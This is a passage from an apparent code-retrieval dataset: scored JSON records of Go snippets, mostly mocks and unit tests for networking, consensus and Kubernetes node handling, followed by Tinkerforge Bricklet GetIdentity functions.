"a5721463ca05810a7baa34585c2b186c", "score": "0.50253475", "text": "func (m *MockNodePoolClientInterface) UpdateDesiredNode(np string, desiredNode int) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateDesiredNode\", np, desiredNode)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "622b59b6f17f2f6ce97a69fb8093a546", "score": "0.5020287", "text": "func NewMockConn() Conn {\n return &mockConn {\n fromUser: make(chan string),\n fromServer: make(chan string, 100),\n stop: make(chan struct{}),\n running: 1,\n }\n}", "title": "" }, { "docid": "10da93eadc06881c65746f0c248184fd", "score": "0.5018794", "text": "func TestCtrlAppProxy(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdefer ctrl.Finish()\n\tnode := NewMockNode(ctrl)\n\tconsensus := NewMockConsensus(ctrl)\n\n\tserver := NewCtrlAppProxy(\"localhost:55557\", node, consensus, nil)\n\tdefer server.Stop()\n\n\tclient, err := NewCtrlClient(\"localhost:55557\", 100*time.Millisecond)\n\tif err != nil {\n\t\tt.Fatalf(\"connect to server: %v\", err)\n\t}\n\n\tid := \"0x70210aeeb6f7550d1a3f0e6e1bd41fc9b7c6122b5176ed7d7fe93847dac856cf\"\n\tpeer := hash.HexToPeer(id)\n\n\tt.Run(\"id\", func(t *testing.T) {\n\t\tassert := assert.New(t)\n\t\tctx, cancel := context.WithCancel(context.Background())\n\t\tdefer cancel()\n\n\t\tnode.EXPECT().GetID().Return(peer)\n\t\tresp, err := client.ID(ctx, &empty.Empty{})\n\n\t\tassert.NoError(err)\n\t\tassert.Equal(id, resp.Id)\n\t})\n\n\tt.Run(\"stake\", func(t *testing.T) {\n\t\tassert := assert.New(t)\n\t\tctx, cancel := context.WithCancel(context.Background())\n\t\tdefer cancel()\n\n\t\tnode.EXPECT().GetID().Return(peer)\n\t\tconsensus.EXPECT().GetStakeOf(peer).Return(0.0023)\n\n\t\tresp, err := client.Stake(ctx, &empty.Empty{})\n\n\t\tassert.NoError(err)\n\t\tassert.Equal(0.0023, resp.Value)\n\t})\n\n\tt.Run(\"internal_txn\", func(t *testing.T) {\n\t\tassert := assert.New(t)\n\t\tctx, cancel := context.WithCancel(context.Background())\n\t\tdefer cancel()\n\n\t\ttx := inter.InternalTransaction{\n\t\t\tAmount: 2,\n\t\t\tReceiver: peer,\n\t\t}\n\t\tnode.EXPECT().AddInternalTxn(tx)\n\n\t\t_, err := client.InternalTxn(ctx, &wire.InternalTxnRequest{\n\t\t\tAmount: 2,\n\t\t\tReceiver: id,\n\t\t})\n\n\t\tassert.NoError(err)\n\t})\n}", "title": "" }, { "docid": "66deb92e8ac0d11b500478c99f407447", "score": "0.5013076", "text": "func TestCN_Base(t *testing.T) {\n\tassert := assert.New(t)\n\tcn, err := cnTestInit()\n\trequire.Nil(t, err)\n\n\t_, tenantNet, _ := net.ParseCIDR(\"192.168.1.0/24\")\n\n\t//From YAML on instance init\n\tmac, _ := net.ParseMAC(\"CA:FE:00:01:02:03\")\n\tvnicCfg := &VnicConfig{\n\t\tVnicIP: net.IPv4(192, 168, 1, 100),\n\t\tConcIP: net.IPv4(192, 168, 1, 1),\n\t\tVnicMAC: mac,\n\t\tSubnet: *tenantNet,\n\t\tSubnetKey: 0xF,\n\t\tVnicID: \"vuuid\",\n\t\tInstanceID: \"iuuid\",\n\t\tTenantID: \"tuuid\",\n\t\tSubnetID: \"suuid\",\n\t\tConcID: \"cnciuuid\",\n\t}\n\n\t// Create a VNIC: Should create bridge and tunnels\n\tvar vnic1Name, vnic1DupName string\n\tvnic, ssntpEvent, _, err := cn.CreateVnic(vnicCfg)\n\tif assert.Nil(err) {\n\t\t//We expect a bridge creation event\n\t\tif assert.NotNil(ssntpEvent) {\n\t\t\t//Check the fields of the ssntpEvent\n\t\t\terr := validSsntpEvent(ssntpEvent, vnicCfg)\n\t\t\tassert.Nil(err)\n\t\t\tassert.Equal(ssntpEvent.Event, SsntpTunAdd)\n\t\t}\n\t\tvnic1Name = vnic.LinkName\n\t}\n\n\t// Try and create it again. Should return cached value\n\tvnic, ssntpEvent, _, err = cn.CreateVnic(vnicCfg)\n\tif assert.Nil(err) {\n\t\tassert.Nil(ssntpEvent)\n\t\tvnic1DupName = vnic.LinkName\n\t}\n\n\tassert.Equal(vnic1Name, vnic1DupName)\n\n\tmac2, _ := net.ParseMAC(\"CA:FE:00:01:02:22\")\n\tvnicCfg2 := &VnicConfig{\n\t\tVnicIP: net.IPv4(192, 168, 1, 2),\n\t\tConcIP: net.IPv4(192, 168, 1, 1),\n\t\tVnicMAC: mac2,\n\t\tSubnet: *tenantNet,\n\t\tSubnetKey: 0xF,\n\t\tVnicID: \"vuuid2\",\n\t\tInstanceID: \"iuuid2\",\n\t\tTenantID: \"tuuid\",\n\t\tSubnetID: \"suuid\",\n\t\tConcID: \"cnciuuid\",\n\t}\n\n\t// Create a second VNIC on the same tenant subnet\n\tvnic, ssntpEvent, _, err = cn.CreateVnic(vnicCfg2)\n\tif assert.Nil(err) {\n\t\t//No bridge creation event expected\n\t\tassert.Nil(ssntpEvent)\n\t}\n\n\tssntpEvent, _, err = cn.DestroyVnic(vnicCfg2)\n\tif assert.Nil(err) {\n\t\t//No bridge creation event expected\n\t\tassert.Nil(ssntpEvent)\n\t}\n\n\t// Destroy the first VNIC - Deletes the bridge and tunnel\n\tssntpEvent, _, err = cn.DestroyVnic(vnicCfg)\n\tif assert.Nil(err) {\n\t\t//No bridge creation event expected\n\t\tif assert.NotNil(ssntpEvent) {\n\t\t\t//Check the fields of the ssntpEvent\n\t\t\terr := validSsntpEvent(ssntpEvent, vnicCfg)\n\t\t\tassert.Nil(err)\n\t\t\tassert.Equal(ssntpEvent.Event, SsntpTunDel)\n\t\t}\n\t}\n\n\t// Try and destroy it again - should work\n\tssntpEvent, _, err = cn.DestroyVnic(vnicCfg)\n\tif assert.Nil(err) {\n\t\t//No bridge deletion event expected\n\t\tassert.Nil(ssntpEvent)\n\t}\n}", "title": "" }, { "docid": "f1190f4c2d6aeb1b74ec6a36b293bc57", "score": "0.5009045", "text": "func (m *NodeKeeperMock) MinimockFinish() {\n\n\tif !m.GetAccessorFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetAccessor\")\n\t}\n\n\tif !m.GetClaimQueueFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetClaimQueue\")\n\t}\n\n\tif !m.GetCloudHashFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetCloudHash\")\n\t}\n\n\tif !m.GetConsensusInfoFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetConsensusInfo\")\n\t}\n\n\tif !m.GetOriginFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetOrigin\")\n\t}\n\n\tif !m.GetOriginAnnounceClaimFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetOriginAnnounceClaim\")\n\t}\n\n\tif !m.GetOriginJoinClaimFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetOriginJoinClaim\")\n\t}\n\n\tif !m.GetSnapshotCopyFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetSnapshotCopy\")\n\t}\n\n\tif !m.GetWorkingNodeFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetWorkingNode\")\n\t}\n\n\tif !m.GetWorkingNodesFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetWorkingNodes\")\n\t}\n\n\tif !m.GetWorkingNodesByRoleFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.GetWorkingNodesByRole\")\n\t}\n\n\tif !m.IsBootstrappedFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.IsBootstrapped\")\n\t}\n\n\tif !m.MoveSyncToActiveFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.MoveSyncToActive\")\n\t}\n\n\tif !m.SetCloudHashFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.SetCloudHash\")\n\t}\n\n\tif !m.SetInitialSnapshotFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.SetInitialSnapshot\")\n\t}\n\n\tif !m.SetIsBootstrappedFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.SetIsBootstrapped\")\n\t}\n\n\tif !m.SyncFinished() {\n\t\tm.t.Fatal(\"Expected call to NodeKeeperMock.Sync\")\n\t}\n\n}", "title": "" }, { "docid": "d6d475350a24e6106ee7d07a85fc3bbc", "score": "0.5008792", "text": "func TestMockOrm(t *testing.T) {\n\teip := &msg.EipMsgHandler{\n\t\tControl: handler.NewCtlMock(),\n\t}\n\tif msgs, err := eip.GetAll(0, -1); err != nil {\n\t\tt.Fail()\n\t\tt.Log(err)\n\t} else {\n\t\tt.Log(msgs)\n\t}\n\n\tticker := time.NewTicker(100 * time.Millisecond)\n\tcount := 0\n\tdefer ticker.Stop()\n\tgetIndex := func() {\n\t\tif msgs, err := eip.GetIndex(0); err != nil {\n\t\t\tt.Fail()\n\t\t\tt.Log(err)\n\t\t} else {\n\t\t\tt.Log(msgs)\n\t\t}\n\t}\n\tfor {\n\t\t<-ticker.C\n\t\tgetIndex()\n\t\tcount++\n\t\tif count > 5 {\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif err := eip.MarkRead(3); err != nil {\n\t\tt.Fail()\n\t\tt.Log(err)\n\t}\n}", "title": "" }, { "docid": "51959db55196004325c1bd863816cd6f", "score": "0.50057423", "text": "func (m *mConsensusNetworkMockInit) Expect(p context.Context) *mConsensusNetworkMockInit {\n\tm.mock.InitFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &ConsensusNetworkMockInitExpectation{}\n\t}\n\tm.mainExpectation.input = &ConsensusNetworkMockInitInput{p}\n\treturn m\n}", "title": "" }, { "docid": "bc49ba19e4215206413457b7b8c95b02", "score": "0.5005457", "text": "func mockBridge(t *testing.T) *serviceTestTools {\n\tstt := new(serviceTestTools)\n\tsrv := httptest.NewServer(http.HandlerFunc(\n\t\tfunc(w http.ResponseWriter, r *http.Request) {\n\t\t\tstt.lastMethod = r.Method\n\t\t\tstt.lastBody = r.Body\n\t\t\tstt.lastPath = r.URL.Path\n\t\t\tif err := json.NewEncoder(w).Encode(stt.nextResponse); err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\t\t},\n\t))\n\tstt.b = &Bridge{\n\t\tbridgeID: bridgeID{ID: \"bridge_id\", IP: srv.URL + \"/\"},\n\t\tusername: \"bridge_username\",\n\t}\n\tstt.srv = srv\n\treturn stt\n}", "title": "" }, { "docid": "377d9841243fc498d1b4faf5b2cce3bd", "score": "0.5003114", "text": "func (n Node) Cordon(nodeName string, reason string) error {\n\tif n.nthConfig.DryRun {\n\t\tlog.Info().Str(\"node_name\", nodeName).Str(\"reason\", reason).Msgf(\"Node would have been cordoned, but dry-run flag was set\")\n\t\treturn nil\n\t}\n\tnode, err := n.fetchKubernetesNode(nodeName)\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = drain.RunCordonOrUncordon(n.drainHelper, node, true)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "3c84a3d22ab160f985874ffec8affb74", "score": "0.49949557", "text": "func TestNodeServiceProxy(t testing.T) *NodeService {\n\treturn &NodeService{\n\t\tKind: ServiceKindConnectProxy,\n\t\tService: \"web-proxy\",\n\t\tAddress: \"127.0.0.2\",\n\t\tPort: 2222,\n\t\tProxy: TestConnectProxyConfig(t),\n\t}\n}", "title": "" }, { "docid": "ddb60103b033b32ea355009c86e67219", "score": "0.49799994", "text": "func TestManage(t *testing.T) {\n\tc, mgr := setupNewTestManager()\n\troot := mgr.Root()\n\n\t// Read all config\n\tactual, err := nodeutil.WriteJSON(root.Find(\"?content=config\"))\n\tfc.AssertEqual(t, nil, err)\n\texpected := `{\"speed\":1000,\"tire\":[{\"pos\":0,\"size\":\"15\"},{\"pos\":1,\"size\":\"15\"},{\"pos\":2,\"size\":\"15\"},{\"pos\":3,\"size\":\"15\"}]}`\n\tfc.AssertEqual(t, expected, actual)\n\n\t// access car and verify w/API\n\tfc.AssertEqual(t, false, c.Running)\n\n\t// setup events stream reader\n\tevents := make(chan string)\n\tunsub, err := root.Find(\"update\").Notifications(func(n node.Notification) {\n\t\tevent, _ := nodeutil.WriteJSON(n.Event)\n\t\tevents <- event\n\t})\n\tfc.AssertEqual(t, nil, err)\n\tfc.AssertEqual(t, 1, c.listeners.Len())\n\n\t// write config starts car\n\terr = root.UpdateFrom(nodeutil.ReadJSON(`{\"speed\":1000}`)).LastErr\n\tfc.AssertEqual(t, nil, err)\n\tfc.AssertEqual(t, 1000, c.Speed)\n\n\t// should be first event\n\tfc.AssertEqual(t, `{\"event\":\"carStarted\"}`, <-events)\n\tfc.AssertEqual(t, true, c.Running)\n\n\t// unsubscribe\n\tunsub()\n\tfc.AssertEqual(t, 0, c.listeners.Len())\n\n\t// hit all the RPCs\n\tfc.AssertEqual(t, nil, root.Find(\"rotateTires\").Action(nil).LastErr)\n\tfc.AssertEqual(t, nil, root.Find(\"replaceTires\").Action(nil).LastErr)\n\tfc.AssertEqual(t, nil, root.Find(\"reset\").Action(nil).LastErr)\n\tfc.AssertEqual(t, nil, root.Find(\"tire=0/replace\").Action(nil).LastErr)\n}", "title": "" }, { "docid": "274b0c02ea88a2e4886febdbb5b85e6d", "score": "0.49794325", "text": "func (s *FrontendHostSuite) SetupCommonMock() {\n\trpm := common.NewMockRingpopMonitor()\n\trpm.Add(common.OutputServiceName, \"99999999-9999-9999-9999-999999999999\", \"127.0.0.1\")\n\n\ts.mockService = new(common.MockService)\n\ts.mockController = new(mockctrl.MockControllerHost)\n\ts.mockMeta = new(mockmeta.TChanMetadataService)\n\n\tmockClientFactory := new(mockcommon.MockClientFactory)\n\tmockClientFactory.On(\"GetControllerClient\").Return(s.mockController, nil)\n\n\ts.mockService.On(\"GetConfig\").Return(s.cfg.GetServiceConfig(common.FrontendServiceName))\n\ts.mockService.On(\"GetTChannel\").Return(tchannel.NewChannel(\"test-frontend\", nil))\n\ts.mockService.On(\"GetHostPort\").Return(\"inputhost:port\")\n\ts.mockService.On(\"GetHostUUID\").Return(\"99999999-9999-9999-9999-999999999999\")\n\ts.mockService.On(\"GetRingpopMonitor\").Return(rpm)\n\ts.mockService.On(\"GetClientFactory\").Return(mockClientFactory)\n\ts.mockService.On(\"GetMetricsReporter\").Return(common.NewMetricReporterWithHostname(configure.NewCommonServiceConfig()))\n\ts.mockService.On(\"GetDConfigClient\").Return(dconfig.NewDconfigClient(configure.NewCommonServiceConfig(), common.FrontendServiceName))\n\ts.mockService.On(\"GetAuthManager\").Return(common.NewBypassAuthManager())\n\n}", "title": "" }, { "docid": "e8e0580732ebbb7f486a03f8c68d5555", "score": "0.497668", "text": "func TestNodeProvidedIPAddresses(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdefer ctrl.Finish()\n\n\tfnh := &testutil.FakeNodeHandler{\n\t\tExisting: []*v1.Node{\n\t\t\t{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tName: \"node0\",\n\t\t\t\t\tCreationTimestamp: metav1.Date(2012, 1, 1, 0, 0, 0, 0, time.UTC),\n\t\t\t\t\tLabels: map[string]string{},\n\t\t\t\t\tAnnotations: map[string]string{\n\t\t\t\t\t\tcloudproviderapi.AnnotationAlphaProvidedIPAddr: \"10.0.0.1\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tStatus: v1.NodeStatus{\n\t\t\t\t\tConditions: []v1.NodeCondition{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tType: v1.NodeReady,\n\t\t\t\t\t\t\tStatus: v1.ConditionUnknown,\n\t\t\t\t\t\t\tLastHeartbeatTime: metav1.Date(2015, 1, 1, 12, 0, 0, 0, time.UTC),\n\t\t\t\t\t\t\tLastTransitionTime: metav1.Date(2015, 1, 1, 12, 0, 0, 0, time.UTC),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tAddresses: []v1.NodeAddress{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tType: v1.NodeHostName,\n\t\t\t\t\t\t\tAddress: \"node0.cloud.internal\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tSpec: v1.NodeSpec{\n\t\t\t\t\tTaints: []v1.Taint{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"ImproveCoverageTaint\",\n\t\t\t\t\t\t\tValue: \"true\",\n\t\t\t\t\t\t\tEffect: v1.TaintEffectNoSchedule,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: cloudproviderapi.TaintExternalCloudProvider,\n\t\t\t\t\t\t\tValue: \"true\",\n\t\t\t\t\t\t\tEffect: v1.TaintEffectNoSchedule,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tProviderID: \"node0\",\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tClientset: fake.NewSimpleClientset(&v1.PodList{}),\n\t\tDeleteWaitChan: make(chan struct{}),\n\t}\n\n\tctx := context.TODO()\n\tfactory := informers.NewSharedInformerFactory(fnh, 0)\n\tmockNP := mocknodeprovider.NewMockNodeProvider(ctrl)\n\tmockNP.EXPECT().InstanceType(ctx, types.NodeName(\"node0\")).Return(\"Standard_D2_v3\", nil)\n\tmockNP.EXPECT().GetZone(ctx, gomock.Any()).Return(cloudprovider.Zone{\n\t\tRegion: \"eastus\",\n\t\tFailureDomain: \"eastus-1\",\n\t}, nil)\n\tmockNP.EXPECT().NodeAddresses(ctx, types.NodeName(\"node0\")).Return([]v1.NodeAddress{\n\t\t{\n\t\t\tType: v1.NodeInternalIP,\n\t\t\tAddress: \"10.0.0.1\",\n\t\t},\n\t\t{\n\t\t\tType: v1.NodeExternalIP,\n\t\t\tAddress: \"132.143.154.163\",\n\t\t},\n\t}, nil).AnyTimes()\n\tmockNP.EXPECT().GetPlatformSubFaultDomain().Return(\"\", nil)\n\n\teventBroadcaster := record.NewBroadcaster()\n\tcloudNodeController := NewCloudNodeController(\n\t\t\"node0\",\n\t\tfactory.Core().V1().Nodes(),\n\t\tfnh,\n\t\tmockNP,\n\t\ttime.Second,\n\t\tfalse,\n\t\tfalse)\n\teventBroadcaster.StartLogging(klog.Infof)\n\n\tcloudNodeController.AddCloudNode(context.TODO(), fnh.Existing[0])\n\tassert.Equal(t, 1, len(fnh.UpdatedNodes), \"Node was not updated\")\n\tassert.Equal(t, \"node0\", fnh.UpdatedNodes[0].Name, \"Node was not updated\")\n\tassert.Equal(t, 3, len(fnh.UpdatedNodes[0].Status.Addresses), \"Node status unexpectedly updated\")\n\n\tcloudNodeController.UpdateNodeStatus(context.TODO())\n\tupdatedNodes := fnh.GetUpdatedNodesCopy()\n\tassert.Equal(t, 3, len(updatedNodes[0].Status.Addresses), \"Node Addresses not correctly updated\")\n\tassert.Equal(t, \"10.0.0.1\", updatedNodes[0].Status.Addresses[0].Address, \"Node Addresses not correctly updated\")\n}", "title": "" }, { "docid": "8b55c7eac4c09f4caf9a990d9c65fad5", "score": "0.49734545", "text": "func (r *LatencySuite) newMockCluster(members ...string) *mockCluster {\n\treturn &mockCluster{\n\t\tmembers: members,\n\t}\n}", "title": "" } ]
707e02b418a462504fa8f4d083af7fbd
Returns the UID, the UID where the Bricklet is connected to, the position, the hardware and firmware version as well as the device identifier. The position can be 'a', 'b', 'c', 'd', 'e', 'f', 'g' or 'h' (Bricklet Port). A Bricklet connected to an `Isolator Bricklet ` is always at position 'z'. The device identifier numbers can be found `here `. |device_identifier_constant|
[ { "docid": "5ab8c1726cfedcd7210f5c33ca99e7e6", "score": "0.6744851", "text": "func (device *JoystickBricklet) GetIdentity() (uid string, connectedUid string, position rune, hardwareVersion [3]uint8, firmwareVersion [3]uint8, deviceIdentifier uint16, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetIdentity), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 33 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 33)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tuid = ByteSliceToString(resultBuf.Next(8))\n\t\tconnectedUid = ByteSliceToString(resultBuf.Next(8))\n\t\tposition = rune(resultBuf.Next(1)[0])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &hardwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &firmwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &deviceIdentifier)\n\n\t}\n\n\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, nil\n}", "title": "" } ]
[ { "docid": "586748ef5e26ef1392789a1532a41092", "score": "0.6812017", "text": "func (device *LCD16x2Bricklet) GetIdentity() (uid string, connectedUid string, position rune, hardwareVersion [3]uint8, firmwareVersion [3]uint8, deviceIdentifier uint16, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetIdentity), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 33 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 33)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tuid = ByteSliceToString(resultBuf.Next(8))\n\t\tconnectedUid = ByteSliceToString(resultBuf.Next(8))\n\t\tposition = rune(resultBuf.Next(1)[0])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &hardwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &firmwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &deviceIdentifier)\n\n\t}\n\n\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, nil\n}", "title": "" }, { "docid": "01d12025856aa7f81689d29cb7801ab3", "score": "0.6565018", "text": "func (device *VoltageBricklet) GetIdentity() (uid string, connectedUid string, position rune, hardwareVersion [3]uint8, firmwareVersion [3]uint8, deviceIdentifier uint16, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetIdentity), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 33 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 33)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tuid = ByteSliceToString(resultBuf.Next(8))\n\t\tconnectedUid = ByteSliceToString(resultBuf.Next(8))\n\t\tposition = rune(resultBuf.Next(1)[0])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &hardwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &firmwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &deviceIdentifier)\n\n\t}\n\n\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, nil\n}", "title": "" }, { "docid": "1fd6fa25bae4620a0b15c1906f6fd274", "score": "0.65552336", "text": "func (device *EPaper296x128Bricklet) GetIdentity() (uid string, connectedUid string, position rune, hardwareVersion [3]uint8, firmwareVersion [3]uint8, deviceIdentifier uint16, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetIdentity), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 33 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 33)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tuid = ByteSliceToString(resultBuf.Next(8))\n\t\tconnectedUid = ByteSliceToString(resultBuf.Next(8))\n\t\tposition = rune(resultBuf.Next(1)[0])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &hardwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &firmwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &deviceIdentifier)\n\n\t}\n\n\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, nil\n}", "title": "" }, { "docid": "c69e4e139612eb947faca0abd72bf646", "score": "0.6552933", "text": "func (device *MultiTouchV2Bricklet) GetIdentity() (uid string, connectedUid string, position rune, hardwareVersion [3]uint8, firmwareVersion [3]uint8, deviceIdentifier uint16, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetIdentity), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 33 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 33)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tuid = ByteSliceToString(resultBuf.Next(8))\n\t\tconnectedUid = ByteSliceToString(resultBuf.Next(8))\n\t\tposition = rune(resultBuf.Next(1)[0])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &hardwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &firmwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &deviceIdentifier)\n\n\t}\n\n\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, nil\n}", "title": "" }, { "docid": "a5918febc6fc3f85bd89f5b7837cecce", "score": "0.65518105", "text": "func (device *VoltageCurrentBricklet) GetIdentity() (uid string, connectedUid string, position rune, hardwareVersion [3]uint8, firmwareVersion [3]uint8, deviceIdentifier uint16, err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Get(uint8(FunctionGetIdentity), buf.Bytes())\n\tif err != nil {\n\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 33 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 33)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tresultBuf := bytes.NewBuffer(resultBytes[8:])\n\t\tuid = ByteSliceToString(resultBuf.Next(8))\n\t\tconnectedUid = ByteSliceToString(resultBuf.Next(8))\n\t\tposition = rune(resultBuf.Next(1)[0])\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &hardwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &firmwareVersion)\n\t\tbinary.Read(resultBuf, binary.LittleEndian, &deviceIdentifier)\n\n\t}\n\n\treturn uid, connectedUid, position, hardwareVersion, firmwareVersion, deviceIdentifier, nil\n}", "title": "" }, { "docid": "758d57c498c3095c94c5e14f4bbed26e", "score": "0.65014166", "text": "func (device *TiltBricklet) GetIdentity() (uid string, connectedUid string, position rune, hardwareVersion [3]uint8, firmwareVersion [3]uint8, deviceIdentifier uint16, err error) {\n\tvar buf 